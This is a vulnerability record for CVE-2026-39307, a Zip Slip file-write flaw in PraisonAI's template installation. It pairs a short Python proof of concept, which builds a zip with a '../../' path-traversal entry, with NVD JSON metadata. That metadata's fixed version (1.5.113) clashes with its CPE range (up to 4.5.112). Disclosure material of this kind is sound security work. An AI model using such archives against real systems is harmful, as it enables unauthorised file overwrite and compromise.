CVE-2026-39307

import zipfile import os # PoC to generate a malicious zip file for Zip Slip vulnerability # This script creates a zip file containing a file with a path traversal sequence. def create_malicious_zip(filename): with zipfile.ZipFile(filename, 'w') as z: # The file name includes "../" to escape the extraction directory z.writestr("../../malicious_payload.txt", "This is a malicious file written via Zip Slip.") print(f"Created malicious zip file: {filename}") if __name__ == "__main__": create_malicious_zip("exploit_template.zip")

{"cve": {"id": "CVE-2026-39307", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:36.613", "lastModified": "2026-04-16T01:18:47.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a \"Zip Slip\" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.5.112", "matchCriteriaId": "93136744-3972-4DDD-B569-091065F57C0B"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4ph2-f6pf-79wv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}